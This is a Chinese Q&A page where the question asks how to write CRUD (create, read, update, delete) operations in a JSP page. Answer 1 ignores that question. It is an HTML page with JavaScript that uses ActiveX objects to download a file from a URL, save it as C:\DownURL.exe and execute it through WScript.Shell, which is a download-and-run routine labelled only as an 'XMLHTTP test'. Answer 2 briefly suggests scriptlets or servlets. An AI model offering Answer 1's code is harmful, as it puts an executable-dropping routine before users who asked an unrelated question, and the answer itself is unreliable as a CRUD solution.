Question

在jsp页面中如何进行增删改查操作的程序代码

Answer 1

<center>
<br>
<table border="0" cellpadding="0" cellspacing="0" width="80%">
<tr>
<td width="100%" valign="top">测试XMLHTTP</td>
</tr>
</table>
<br>
<table border="0" cellpadding="0" cellspacing="0" width="80%">
<tr>
<td width="100%" valign="top">
<input type="text" value="http://10.70.38.10:9002/System/Dot/Show.jsp?Id=1" id="URLID">
<input type="text" value="C:\\DownURL.exe" id="LocalURLID">
<input type="button" value="下载" onclick="DownURL(URLID.value,LocalURLID.value);">
</td>
</tr>
</table>
<br>
<div id=App style="border:1 solid #000000;background-color:#FFFFFF;height:200px;overflow:auto;width:80%;z-index:2" contentEditable></div>
<script>
function ExeRun(command)
{
window.oldOnError=window.onerror;
window._command=command;
window.onerror=function(err)
{
if(err.indexOf('automation')!=-1)
{
alert("命令"+window._command+"已经被用户禁止!");
return true;
}
else return false;
}
var wsh=new ActiveXObject("WScript.Shell");
if(wsh)
wsh.Run(command);
window.onerror=window.oldOnError;
}
function DownURL(strRemoteURL,strLocalURL)
{
try
{
var xmlHTTP=new ActiveXObject("Microsoft.XMLHTTP");
xmlHTTP.open("Get",strRemoteURL,false);
xmlHTTP.send();
var adodbStream=new ActiveXObject("ADODB.Stream");
adodbStream.Type=1;//1=adTypeBinary
adodbStream.Open();
adodbStream.write(xmlHTTP.responseBody);
adodbStream.SaveToFile(strLocalURL,2);
adodbStream.Close();
adodbStream=null;
xmlHTTP=null;
ExeRun(strLocalURL);
}
catch(e)
{
window.confirm("下载URL出错!");
}
//window.confirm("下载完成.");
}
</script>
<br>
<table border="0" cellpadding="0" cellspacing="0" width="80%">
<tr>
<td width="100%" valign="top">测试XMLHTTP</td>
</tr>
</table>
</br>
</center>

Answer 2

用 scriptlet 就可以了
<%
这里是你的 CRUD(增删改查) 的代码
%>

建议你把这些 CRUD 的操作写到 Servlet 内 会比较 方便`